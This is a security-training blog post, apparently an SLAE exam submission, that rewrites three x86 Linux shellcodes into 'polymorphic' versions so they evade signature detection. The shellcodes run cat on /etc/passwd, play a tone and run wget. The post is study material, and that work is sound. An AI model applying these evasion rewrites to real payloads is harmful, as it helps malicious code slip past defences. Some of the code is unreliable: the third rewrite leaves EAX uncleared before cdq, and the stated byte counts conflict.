SLAE Exam 6 Polymorphic Shellcode

4 minute read

So, I’ve been on a slight hiatus from the SLAE because my lab time for OSCE began right as I was finishing this up. So, I put this on pause to complete that. Don’t worry, an OSCE write-up is coming :) But for now, let’s finish out SLAE nice a strong. Today, we’re going to look at morphing shellcode to break the signature detection that might catch it.

Problem Statement

  • Take up 3 shellcodes from Shell-Storm and create polymorphic versions of them to beat pattern matching
  • The polymorphic versions cannot be larger than 150% of the existing shellcode
  • Bonus points for making it shorter in length than the original

Shellcode #1

The first shellcode we’ll take is a simple 42-byte shellcode that calls /bin/cat /etc/passwd via the execve system call.

original shellcode

xor eax,eax
cdq

push edx
push 0x7461632f
push 0x6e69622f
mov ebx,esp

push edx

push 0x64777373
push 0x61702f2f
push 0x6374652f
mov ecx,esp

mov al,0xb
push edx
push ecx
push ebx
mov ecx,esp
int 0x80

Modifications

Looking over this, we see some obvious things we could modify that would produce the same functionality using the same instructions. For example, cdq is being used here to clear the EDX register, but we could do the same with a special multiply call. EDX is also being used to push null values onto the stack, but we could use a different register. We could also change the order of some of the instructions, which would result in a different signature. Let’s do all of this.

morphed shellcode

xor ebx, ebx    ; Use EBX instead of EAX
mul ebx         ; This clears EAX and EDX for us

push eax        ; Push nulls with EAX
push 0x7461632f
push 0x6e69622f
mov ebx,esp

push eax        ; Push nulls with EAX

push 0x64777373
push 0x61702f2f
push 0x6374652f
mov ecx,esp

push eax        ; Push nulls with EAX
push ecx
push ebx
mov ecx,esp
mov al,0xb      ; Rearrange this command
int 0x80

Results

The original shellcode was 43 bytes, and our morphed version was 44 bytes. That results in a 2.3% increase in size, which is within our boundary! On to the next piece of code.

Shellcode #2

This next piece of shellcode we’ll modify is just a fun piece of code designed to emit a tone, and is originally 45 bytes.

original shellcode

; int fd = open("/dev/tty10", O_RDONLY);
push byte 5
pop eax
cdq
push edx
push 0x30317974
push 0x742f2f2f
push 0x7665642f
mov ebx, esp
mov ecx, edx
int 80h

; ioctl(fd, KDMKTONE (19248), 66729180);
mov ebx, eax
push byte 54
pop eax
mov ecx, 4294948047
not ecx
mov edx, 66729180
int 80h

Modifications

It’s easy to spot a couple of things we might do differently. For example, the way that values are moved into registers could be changed, and ECX has a not instruction performed on it, when we could just move the correct value there in the first place. Let’s try these out.

morphed shellcode

; int fd = open("/dev/tty10", O_RDONLY);
xor eax, eax
mov al, 5         ; direct move vs push pop
cdq
push edx
push 0x30317974
push 0x742f2f2f
push 0x7665642f
mov ebx, esp
mov ecx, edx
int 80h

; ioctl(fd, KDMKTONE (19248), 66729180);
mov ebx, eax
mov al, 54        ; direct move vs push pop
mov cx, 0x4b30    ; move correct value vs !value
mov edx, 66729180
int 80h

Results

The original shellcode was 45 bytes, and our morphed version was 42 bytes. That results in a 6.7% _decrease_ in size, which should award us our bonus! Excellent, on to the last exercise.

Shellcode #3

This last shellcode we’ll take is a simple 42-byte shellcode that calls /usr/bin/wget aaaa via the execve system call.

original shellcode

push   0xb
pop    eax
cdq

push   edx
push   0x61616161
mov    ecx,esp
push   edx

push   0x74
push   0x6567772f
push   0x6e69622f
push   0x7273752f
mov    ebx,esp

push   edx
push   ecx
push   ebx
mov    ecx,esp
int    0x80

inc    eax
int    0x80

Modifications

Again, we see some obvious things we can modify, such as how values get into registers, but there’s another technique I haven’t used yet to mangle signatures, and that’s the concept of NOPs. There is the literal instruction NOP, but there are also NOPs that are valid instructions that don’t effect the functionality of the program. For example, if you need the value 0x2 inside the EAX register, you can simply do a mov eax, 0x2, but you could also do mov ebx, 0x4; inc edx; mov eax, 0x2; pushad; popad. Even though there are 5 instructions in the second set, it still accomplishes the same goal. We will use that technique in this shellcode as well.

morphed shellcode

inc esp
inc ebp
cdq

dec    esp
dec    ebp
push   edx
push   0x61616161
inc    edx
mov    ecx,esp
dec    edx
push   edx

push   0x74
push   0x6567772f
push   0x6e69622f
push   0x7273752f
mov    ebx,esp

push   edx
push   ecx
pushad
popad
push   ebx
mov    ecx,esp
push   0xb
pop    eax
int    0x80

add    al, 0x2
dec    al
int    0x80

Results

The original shellcode was 42 bytes, and our morphed version was 53 bytes. That results in a 26% increase in size, which is still within our boundary.

Wrapping Up

Overall, this was a good exercise. Not only are these techniques helpful in defeating pattern matching, but they are also helpful when your buffer is susceptible to bad characters, and you need to change opcodes to fit the realm of good characters available. Anyways, I learned some great tricks here, and I hope you have as well. Until next time, happy hacking!

SLAE Exam Statement

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1158